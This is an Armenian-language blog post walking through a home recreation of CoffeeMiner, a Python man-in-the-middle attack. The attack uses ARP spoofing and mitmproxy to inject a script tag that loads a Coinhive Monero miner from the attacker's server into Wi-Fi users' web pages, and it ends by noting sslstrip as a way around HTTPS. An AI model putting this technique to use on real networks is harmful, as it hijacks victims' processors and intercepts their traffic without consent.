Մայնինգի ոլորտում աշխարհում կատարվող շարժը ուսումնասիրելու ժամանակ հանդիպեցի մի հետաքրքիր կոնցեպտի, որը ուներ CoffeeMiner անուն։ Դե գիշերը չեմ քնել ու կոֆե էի ուզում, էս անունը միանգամից գրավեց։
CoffeeMiner-ը python-ով գրված փոքր սկրիպտ է, որը իրականացնում է man-in-the-middle հարձակում։ Գաղափարը հետևյալն է։ CoffeeMiner-ը spoofing է անում ARP (Address Resolution Protocol) պրոտոկոլը, որ ստանա wifi ցանցը օգտագործողի թրաֆիկը չգաղտնագրված տեսքով։ Նախապես որոշված HTML կոդը ինյեկցիա է անում թրաֆիկի մեջ հայտնի mitmproxy գործիքի օգնությամբ։ Արդյունքում թրաֆիկի մեջ ներարկում ջավասկրիպտ կոդ, որը օգտագործում է wifi ցանցից օգտվողների համակարգիչների պրոցեսորները մայնինգ անելու համար։
Որոշեցի իմ տան ցանցի վրա կրկնել հարձակումը զուտ հետազոտական նպատակներով։ Վերցրեցի Coinhive-ի սարքած JS mining սկրիպտը, որը աշխատում է բրաուզերում ու մայնինգ է անում Monero կրիպտոարժույթը։
Համառոտ պատկերը հետևյալն է։
Նախ պետք էր կազմակերպել MITM (Man-In-The-Middle) հարձակում, որ խցկենք ջավասկրիպտ կոդը html էջերում։
Սովորական դեպքում իմ ցանցի պատկերը էսպիսինն է։
Նախ փոխում ենք թիրախի ցանցի կարգավորումները։
Ապա հարձակվողի։
Եվ վերջապես router/gateway
Արդյունքում իմ ցանցը դառնում է՝
ARPspoofing հարձակման համար օգտագործում եմ dnsniff գրադարանը։
Հետո պետք է մեր մայնինգի կոդը խցկենք թիրախի HTML էջերում։ Օգտագործում եմ mitmproxy գործիքը, որը թույլ է տալիս անալիզ անել հոսթի թրաֆիկը ու փոխել։ Ավելացնում եմ փոքր JS կոդ։
<script src=”http://httpserverIP:8000/script.js” type=”text/javascript”></script>
Վերջապես ինձ պետք էր HTTP sever, որտեղ deploy կանեմ սկրիպտերը։ Python-ի հասարակ http.server գրադարանը խնդիրը կլուծի։
Սկսենք հարձակումը։
Առաջին հերթին մեզ պետք է կարգավորել ip_forwarding և IPTABLES, որպեսզի հարձակվողի համակարգչում ունենանք proxy։
ARPspoofing իրականցնելու համար ունենք victims.txt ֆայլը, որտեղ գրված են թիրախների IP հասցեները։ Գրում ենք python կոդ, որը հերթով կարդում է IP հասցեները ֆայլից, տալիս ենք նաև gateway֊ը command line args-ով։
Դե ARPspoofing-ի հաջող իրականացման դեպքում պետք է միացնել HTTP Server-ը
Վերջում ամենը հավաքում ենք մի տեղ անունը դնում ենք coffeeminer.py և pyton-ին խնդրում ենք աշխատեցնել դա՝
Ու սուս ու փուս գնում ենք մեր կոֆե խմելու ^_^
Սա կարելի է հեշտությամբ ավտոմատացնել։ CoffeeMiner-ը չի աշխատում https֊ով, բայց կարելի է շրջանցել խնդրը sslstip֊ի օգնությամբ: